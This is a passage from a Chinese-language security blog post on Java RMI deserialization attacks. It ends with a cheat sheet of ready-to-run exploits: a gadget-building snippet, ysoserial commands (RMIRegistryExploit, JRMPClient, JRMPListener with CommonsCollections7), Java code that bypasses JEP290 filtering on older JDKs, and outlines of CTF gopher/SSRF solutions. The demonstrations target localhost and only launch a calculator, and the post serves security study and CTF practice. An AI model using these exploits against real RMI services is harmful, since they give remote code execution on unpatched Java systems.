// 4. Create a new UnicastRemoteObject instance by using Reflection // Make the constructor public Constructor> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null); constructor.setAccessible(true); UnicastRemoteObject myRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
// 5. Make the ssf instance accessible (again by using Reflection) and set it to the proxy object Field privateSsfField = UnicastRemoteObject.class.getDeclaredField("ssf"); privateSsfField.setAccessible(true);
// 6. Set the ssf instance of the UnicastRemoteObject to our proxy privateSsfField.set(myRemoteObject, handcraftedSSF);
// return the gadget return myRemoteObject; }
用我們前面自己寫的lookup把gadget發過去就行了。
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);MyLookup.lookup(registry,getGadget("127.0.0.1",1199));
打法總結
此節總結了打法以及對應的payload或者exp,按本文順序來,方便健忘以及懶得敲命令的自己,也方便懶得看原理,直接找利用的各位(連代碼都不想敲的話建議使用ysomap)
探測RMI接口
BaRMIe: https://github.com/NickstaDB/BaRMIe
NMap:略
List:
public void run() throws Exception{ String[] clazz = Naming.list("rmi://127.0.0.1:1099"); for (String s:clazz) { System.out.println(s); }}
攻擊Object類型參數接口(僅示例,需要知道接口參數以及調用方式):
String payloadType = "CommonsCollections7";String payloadArg = "open /System/Applications/Calculator.app";Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg);HelloR helloR = null;try{ helloR = (HelloR) Naming.lookup("rmi://127.0.0.1:1099/hell"); helloR.helloObject(payloadObject);}catch (Exception e){ e.printStackTrace();}
攻擊非Object類型參數接口:
https://github.com/Afant1/RemoteObjectInvocationHandler
1、mvn package 打好jar包
2、運行RmiServer
3、運行RmiClient前,VM options參數填寫:-javaagent:C:\Users\xxx\InvokeRemoteMethod\target\rasp-1.0-SNAPSHOT.jar
4、最終會hook住RemoteObjectInvocationHandler函數,修改第三個參數為URLDNS gadget
在JEP290之前通過lookup,bind等方式攻擊RMI Registry
java -cp yso.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections7 "open /System/Applications/Calculator.app"
在JEP290之前攻擊DGC層
java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections7 "open /System/Applications/Calculator.app"
服務端打客戶端
yso開啟服務端
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections7 "open /System/Applications/Calculator.app
令客戶端連接1199并執行lookup,bind等方法(在JDKu141后bind無法連接遠程),示例代碼:
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1199);registry.lookup("anythingisok");
JDK<141 bypass JEP290 via bind
yso開啟JRMPListener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections7 "open /System/Applications/Calculator.app
利用代碼:
String payloadType = "JRMPClient";String payloadArg = "127.0.0.1:1199";//yso中獲取payload的Object對象的方法Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg);RmiRegistryExploit re = new RmiRegistryExploit();re.setPayload(payloadObject);String name = "pwned" + System.nanoTime();Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);registry.bind(name,re);
JDK<8u232 bypass JEP290 via lookup
yso開啟JRMPListener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections7 "open /System/Applications/Calculator.app"
重寫lookup,代碼見JDK<8u232 bypass JEP290 via lookup小節。
利用代碼:
String payloadType = "JRMPClient";String payloadArg = "127.0.0.1:1199";//yso中獲取payload的Object對象的方法Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg);RmiRegistryExploit re = new RmiRegistryExploit();re.setPayload(payloadObject);String name = "pwned" + System.nanoTime();Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);MyLookup.lookup(registry,re);
JDK<8u241 bypass JEP290
代碼較長,見JDK<8u241 bypass JEP290小節。
Gopher攻擊RMI
實際上筆者是在ctf中遇到了一道gopher打RMI的題目后才會想到系統性地學習RMI方面的知識,所以在文末就順帶提了一下,關于gopher打RMI的知識筆者就不做總結了,這里說一下遇到過的兩道題的做法,wp或者exp在鏈接內就有,因此也不貼出來了。
0ctf-2rm1:
curl -> 302 -> gopher -> ssrf -> registry and rmiserver -> rebind or attach agent -> rmiclient
BalsnCtf-4pplemusic:
低版本攻擊codebase,這一點在本文中沒有體現,因為jdk版本夠老,也可以使用jdk7u21的鏈來打,因為沒有JEP290的限制,所以可以直接打DGC。
Reference
- Java中RMI的使用
- Java漫談-RMI篇(4-6)——P師傅
- JAVA RMI 反序列化流程原理分析
- 針對RMI服務的九重攻擊 – 上
- 針對RMI服務的九重攻擊 – 下
- RMI-反序列化
- rmi利用總結
- 淺談Java RMI Registry安全問題
- 基于Java反序列化RCE – 搞懂RMI、JRMP、JNDI
- 搞懂RMI、JRMP、JNDI-終結篇
- attack-rmi-registry-and-server-with-socket
- attacking-java-rmi-services-after-jep-290
- Afant1-RemoteObjectInvocationHandler
- 淺談JEP290
- JEP290的基本概念
- an-trinhs-rmi-registry-bypass